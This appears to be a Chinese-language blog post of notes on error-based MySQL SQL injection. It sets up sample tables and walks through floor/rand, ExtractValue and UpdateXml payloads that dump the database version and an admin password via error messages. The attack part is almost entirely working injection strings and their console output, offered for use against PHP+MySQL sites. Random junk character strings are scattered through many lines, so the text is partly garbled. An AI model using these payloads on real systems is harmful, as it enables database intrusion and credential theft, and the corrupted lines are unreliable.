关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
) l( k" ?( _; {' b- B& {6 D实际测试环境：
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7 e* B0 }9 G( E% N3 L  r0 U* g4 Zmysql> show tables;
1 }) A6 F2 Z5 X. k+----------------+
0 c& S+ m$ G* ?" I| Tables_in_test |
  V  ]  R4 i: D7 X7 `: ]+----------------+
) }& c* s4 i/ }; ^* Z" B% K- ^| admin          |
4 O) ~, o1 n1 Q| article        |
% J8 c% E3 g9 C4 S* X+----------------+
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/ u, s# }+ F  u; \* Zmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+


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mysql> describe article;
$ z; b( D4 C9 Q4 U: [- o+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
8 L! G) g+ m: ?6 _  y% w9 x+---------+------------------+------+-----+---------+----------------+
  T; z# f; r8 z- a2 E( r1 S( W| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
8 M# ~9 u; v: R+ x$ v8 F可以通过如下一些利用代码


4 R+ O# q7 m2 V1 U/ u4 E! k# H1 dand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
( p! j( _  V8 z: o/ E' P- x' Cfrom information_schema.tables group by x)a);
: @! x7 c8 Y* W

and (select count(*) from (select 1 union select null union select !1)x
6 D+ \* x4 F$ l9 c! pgroup by concat((select table_name from information_schema.tables limit 1),
% s( O$ |+ @7 Z( m: ?- m8 p3 tfloor(rand(0)*2)));
举例如下：
1 y# m/ P/ T8 [& e' n3 B首先进行正常查询：

# Z; I" k, [* J( d0 o! T" x  imysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
; T2 K6 n1 K5 J假如id输入存在注入的话，可以通过如下语句进行报错。
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mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
1 |# a( G5 q1 Q( NERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
- x% W+ @# E5 J# S. g3 y9 C% O- t例如我们需要查询管理员用户名和密码：
  L4 p" A. J3 t& Q9 j- nMethod1:
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mysql> select * from article where id = 1 and (select 1 from
9 F9 m  W! a) P, U9 r(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
) z! T, ?4 h9 H( ^from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
1 R- R! U# J5 PMethod2:


mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
( {2 J, m' _' [' F; hfloor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
- h' [2 l  S0 D6 G2、ExtractValue
0 X8 A! w3 N+ n! j1 x% Y, i% X测试语句如下
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+ Z4 K4 S: |4 ~4 A- ^  V" F
. F% H# m* R- C4 _1 U% kand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程

$ n( q1 h. g; d. ~& z
" z% o+ O% S5 e' X& x, H+ W" r- Zmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句
6 M/ J* P0 u6 R; u* `2 ?
8 W# T) @* F) y1 U( t9 \
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
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8 b, Z, u4 b% z# ~6 {0 mmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
+ r- w2 A' V+ O- T: w- r2 K7 l(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
1 H0 r7 H6 U8 \All, thanks foreign guys.
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